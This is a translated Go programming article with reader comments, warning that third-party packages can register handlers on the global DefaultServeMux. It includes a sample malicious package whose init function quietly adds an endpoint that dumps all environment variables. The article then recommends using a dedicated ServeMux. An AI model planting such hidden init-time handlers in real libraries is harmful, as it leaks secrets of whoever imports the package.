【Golang】不要在生产环境使用 http.DefaultServerMux

TomatoAres · 2020-09-23 10:06:10 · 1721 次点击 · 预计阅读时间 2 分钟 · 大约8小时之前 开始浏览    
这是一个创建于 2020-09-23 10:06:10 的文章,其中的信息可能已经有所发展或是发生改变。

我看到许多文章和帖子都显示了一种方便简单的方法来这样创建 go 的 Web 服务:

package main
import (
    "fmt"
    "log"
    "net/http"
)
func main() {
    http.HandleFunc("/ping", func(w http.ResponseWriter, r *http.Request){
        fmt.Fprintf(w, "pong")
    })
    fmt.Printf("Starting server at port 8080\n")
    if err := http.ListenAndServe(":8080", nil); err != nil {
        log.Fatal(err)
    }
}

上边的代码里将注册路由 http.HandleFunc 和 处理函数 http.Handle 注册到默认多路复用器 DefaultServerMux。问题是 DefaultServerMux 是一个全局的并且可导出的变量。

黑客可能开发一个恶意的包(lib)或者劫持伪装一个正常的包,将破坏性的 Handle 函数注册到 DefaultServerMux,例如使用 init 函数:

package evillogger
func init(){
    someBoringSetUp()
}
func someBoringSetUp(){
        http.HandleFunc("/xd", commonAndBoringFunctionname)
}
func commonAndBoringFunctionname(w http.ResponseWriter, r *http.Request){
    type osenv struct {
        Key string
        Value string
    }
    envs := []osenv{}
    for _, element := range os.Environ() {
        variable := strings.Split(element, "=")
        envs = append(envs, osenv{Key: variable[0], Value: variable[1]})
    }
    _ = json.NewEncoder(w).Encode(map[string]interface{}{"inyected: ": &envs})
}

在大型项目中混入恶意程序并非难事,但是避免这个问题的方法也很简单,只需要新建一个多路复用器即可:

serverMux := http.NewServeMux()

在我看来,最大的收获是:没有经过任何验证,不要引入任何不可信的第三方库!


via: https://sgrodriguez.github.io/2020/08/21/defaultServerMux.html

作者:Santiago Rodriguez 译者:TomatoAres 校对:polaris1119

本文由 GCTT 原创编译,Go 中文网 荣誉推出


via: https://sgrodriguez.github.io/2020/08/21/defaultServerMux.html

作者:Santiago Rodriguez  译者:TomatoAres  校对:polaris1119

本文由 GCTT 原创编译,Go语言中文网 荣誉推出


有疑问加站长微信联系(非本文作者))

入群交流(和以上内容无关):加入Go大咖交流群,或添加微信:liuxiaoyan-s 备注:入群;或加QQ群:692541889

1721 次点击  ∙  1 赞  
加入收藏 微博
被以下专栏收入,发现更多相似内容
3 回复  |  直到 2020-09-27 11:48:25
avtion
avtion · #1 · 5年之前

能这么做到的,恐怕是内鬼吧

TomatoAres
TomatoAres · #2 · 5年之前
avtionavtion #1 回复

能这么做到的,恐怕是内鬼吧

很多人引入第三方库的时候,很少会去研究源码。 如果第三方库里加一个小小的 破坏性的 init 函数,那就会这样了

avtion
avtion · #3 · 5年之前
TomatoAresTomatoAres #2 回复

#1楼 @avtion 很多人引入第三方库的时候,很少会去研究源码。 如果第三方库里加一个小小的 破坏性的 init 函数,那就会这样了

确实

添加一条新回复 (您需要 登录 后才能回复 没有账号 ?)
  • 请尽量让自己的回复能够对别人有帮助
  • 支持 Markdown 格式, **粗体**、~~删除线~~、`单行代码`
  • 支持 @ 本站用户;支持表情(输入 : 提示),见 Emoji cheat sheet
  • 图片支持拖拽、截图粘贴等方式上传